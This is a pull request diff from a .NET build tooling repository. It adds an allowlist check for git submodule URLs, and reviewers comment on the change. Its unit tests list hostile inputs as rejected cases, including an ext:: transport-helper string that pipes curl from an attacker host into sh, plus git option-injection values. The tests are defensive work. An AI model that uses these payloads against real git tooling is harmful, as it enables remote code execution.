Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
34 changes: 34 additions & 0 deletions src/Maestro/Maestro.Common/GitRepoUrlUtils.cs
Original file line number Diff line number Diff line change
Expand Up @@ -97,6 +97,40 @@ public static GitRepoType ParseTypeFromUri(string pathOrUri)
};
}

public static bool IsValidRemoteRepoUri(string pathOrUri)
{
Comment thread
dkurepa marked this conversation as resolved.
if (string.IsNullOrEmpty(pathOrUri))
{
return false;
}

// Reject values git could interpret as command-line options.
if (pathOrUri.StartsWith('-'))
{
return false;
}

if (Uri.TryCreate(pathOrUri, UriKind.Absolute, out Uri? uri))
{
// Local file paths are allowed.
if (uri.IsFile)
{
return true;
}
Comment thread
dkurepa marked this conversation as resolved.

// Of the remote schemes, only https on an allowlisted host is allowed.
// This rejects http, ssh, git, and transport helpers such as ext::/fd::.
return string.Equals(uri.Scheme, "https", StringComparison.Ordinal)
&& (uri.Host == GitHubComString
|| uri.Host == "dev.azure.com"
|| uri.Host.EndsWith(".visualstudio.com", StringComparison.OrdinalIgnoreCase));
}

// Not an absolute URI: only accept absolute/rooted local filesystem paths (e.g. "/tmp/repo").
// Everything else (relative paths, scp-like SSH targets such as "git@host:path") is rejected.
return Path.IsPathRooted(pathOrUri);
}

/// <summary>
/// Sorts so that we go Local -> GitHub -> AzDO.
/// (in other words local, public, internal)
Expand Down
612 changes: 0 additions & 612 deletions src/Microsoft.DotNet.Darc/Darc/Operations/CloneOperation.cs

This file was deleted.

36 changes: 0 additions & 36 deletions src/Microsoft.DotNet.Darc/Darc/Options/CloneCommandLineOptions.cs

This file was deleted.

1 change: 0 additions & 1 deletion src/Microsoft.DotNet.Darc/Darc/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -121,7 +121,6 @@ public static Type[] GetOptions() =>
typeof(AddBuildToChannelCommandLineOptions),
typeof(AuthenticateCommandLineOptions),
typeof(LoginCommandLineOptions),
typeof(CloneCommandLineOptions),
typeof(DefaultChannelStatusCommandLineOptions),
typeof(DeleteBuildFromChannelCommandLineOptions),
typeof(DeleteChannelCommandLineOptions),
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using Maestro.Common;
using Microsoft.DotNet.DarcLib.Helpers;
using Microsoft.DotNet.DarcLib.Models.VirtualMonoRepo;
using Microsoft.Extensions.Logging;
Expand Down Expand Up @@ -626,6 +627,14 @@ private async Task<List<VmrIngestionPatch>> GetPatchesForSubmoduleChange(
CancellationToken cancellationToken)
{
var checkoutCommit = change.Before == Constants.EmptyGitObject ? change.After : change.Before;

if (!GitRepoUrlUtils.IsValidRemoteRepoUri(change.Url))

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't understand the URI validation. We can have submodules from wherever?

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you mean submodules don't have to be in GitHub or AzDo?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not necessarily. We used to have one from Google from whatever address.

But also how does this fix the issue that we'd send the token from the parent repo to the submodule when getting it? Isn't that what the issue was about?

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dkurepa so I guess this one can go in?

{
throw new DarcException(
$"Submodule '{change.Name}' has an invalid or disallowed URL '{change.Url}'. " +
"Only https URLs hosted on GitHub or Azure DevOps are allowed.");
}
Comment thread
dkurepa marked this conversation as resolved.

var clonePath = await _cloneManager.PrepareCloneAsync(change.Url, checkoutCommit, resetToRemote: false, cancellationToken);

// We are only interested in filters specific to submodule's path
Expand Down

This file was deleted.

41 changes: 41 additions & 0 deletions test/Maestro/Maestro.Common.Tests/GitRepoUrlUtilsTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -121,4 +121,45 @@ public void TurnApiUrlToWebsite_ReturnsOriginalUrlWhenNotApiUrl(string url)
var result = GitRepoUrlUtils.TurnApiUrlToWebsite(url);
result.Should().Be(url);
}

[Test]
[TestCase("https://github.com/dotnet/aspnetcore")]
[TestCase("https://github.com/dotnet/aspnetcore.git")]
[TestCase("https://dev.azure.com/dnceng/internal/_git/dotnet-aspnetcore")]
[TestCase("https://dnceng@dev.azure.com/dnceng/internal/_git/dotnet-aspnetcore")]
[TestCase("https://dnceng.visualstudio.com/internal/_git/dotnet-aspnetcore")]
// local filesystem paths (used by tests / local tooling) are allowed
[TestCase("file:///etc/repos/aspnetcore")]
[TestCase("/var/repos/aspnetcore")]
[TestCase(@"C:\Users\dev\repos\aspnetcore")]
[TestCase("C:/Users/dev/repos/aspnetcore")]
public void IsValidRemoteRepoUri_AcceptsAllowlistedRemotesAndLocalPaths(string uri)
{
GitRepoUrlUtils.IsValidRemoteRepoUri(uri).Should().BeTrue();
}

[Test]
// git transport-helper abuse (RCE)
[TestCase("ext::sh -c curl% -s% http://attacker/p|sh")]
[TestCase("fd::17/foo")]
[TestCase("ext::git-upload-pack")]
// scp-like SSH URL (SSH-SSRF)
[TestCase("git@github.com:dotnet/aspnetcore.git")]
[TestCase("user@attacker.internal:repo.git")]
// option injection (URL parsed as a git option)
[TestCase("--upload-pack=touch /tmp/pwned")]
[TestCase("-oProxyCommand=evil")]
// relative paths are not accepted
[TestCase("../../some/relative/path")]
[TestCase("some/local/repo")]
// disallowed remote schemes / hosts
[TestCase("http://github.com/dotnet/aspnetcore")]
[TestCase("ssh://git@github.com/dotnet/aspnetcore")]
[TestCase("git://github.com/dotnet/aspnetcore")]
[TestCase("https://attacker.com/dotnet/aspnetcore")]
[TestCase("")]
public void IsValidRemoteRepoUri_RejectsDangerousOrNonAllowlistedUris(string uri)
{
GitRepoUrlUtils.IsValidRemoteRepoUri(uri).Should().BeFalse();
}
}